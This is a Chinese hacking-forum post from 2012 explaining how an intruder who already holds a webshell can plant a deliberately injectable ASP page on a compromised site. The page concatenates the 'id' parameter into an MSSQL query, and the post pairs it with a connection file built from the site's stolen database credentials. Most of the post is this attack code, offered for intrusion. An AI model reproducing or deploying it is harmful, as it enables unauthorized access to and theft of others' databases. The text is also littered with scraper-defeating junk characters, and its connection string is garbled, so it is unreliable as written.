找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1756|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
自己构造注入点方便入侵
" I* a3 `  @' E! p: a: f
# T/ D# ]% W8 M) w( m: u今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息- C2 d  j# U) Y& _4 Y) `) d+ R7 @2 K

( d6 U4 Y# N. g! g& M3 k1 C% D# Y这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
  V% M0 g* @1 ~5 @! {' R: ^4 a2 T; R# L" v& m& J
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和. E. r; U' Z* b, G  U9 K

: X7 r! b) Z- ]. z/ F0 w密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
$ z- m7 Y7 X! M) }# Y
  c" B; Z8 ~+ q因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:9 t2 _7 O! X, _
3 O. K3 u8 `/ Z$ }
程序代码
& a" p$ {( Q1 ]- `9 M# o<!--#include file="xx.asp"-->
3 |5 x* F7 X& |- t6 X<%
/ Q9 [2 X( x2 f2 Q5 D  y# iset rs=server.createobject("ADODB.recordset")
/ C! |( F+ w$ h4 Hid = request("id")6 e4 h0 [) r& g2 g, p- ]% n
strSQL = "select * from admin where id=" & id% L5 e0 ~0 ~5 z+ _( [; g
rs.open strSQL,conn,1,3% h! J! |% {* F$ W# u: N. f/ `8 }
rs.close0 @6 n7 ]* Q+ R. l2 A
%>
& q6 R- r# C5 [) |# d8 X# P$ N
/ E# I1 K! D! c  c把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
4 N: ^& V, Y& i, D5 G$ I  v2 ]9 R8 v- i. t
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
5 r* n; ]0 P! t% \4 q; |( ?4 g9 K4 [  k( P& i1 w4 W
然后就要构造一个连接数据库的文件了,代码如下:0 _& E0 @* z. }% r) }. O
程序代码( p' D/ U* w' H) A: `7 K, q
<%        ! j$ z& ^0 b2 y
strSQLServerName = "000.000.000.000"     '服务器名称或地址
9 E( {; s; R* V6 p1 XstrSQLDBUserName = "sqlname"         '数据库帐号/ C9 H) I+ |+ p
strSQLDBPassword = "sqlpass"         '数据库密码
9 Q) j2 R% f4 Q+ }, v) L$ y& EstrSQLDBName = "sqldataname"           '数据库名称2 O2 n/ Y, |4 n' X! c
Set conn = Server.CreateObject("ADODB.Connection")! E% b- w  ?4 O8 q8 L; ?0 o( }
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
; k7 x# D. V: @  e1 F* w& Nconn.open strCon
" R- z6 b% ~0 t% D%>
, U/ {' \3 S. R8 O3 ~. v. U! o2 _  e% ]" A$ s/ _
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,7 E0 p& u5 K6 ?9 h

2 a8 I1 Z, U) s6 R9 n& j就这样,正常情况下,就OK了,伪造成功……
7 J/ b, v8 D) ]( F4 }: u: C5 \# ^5 r2 w( a1 b/ M& J3 l
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表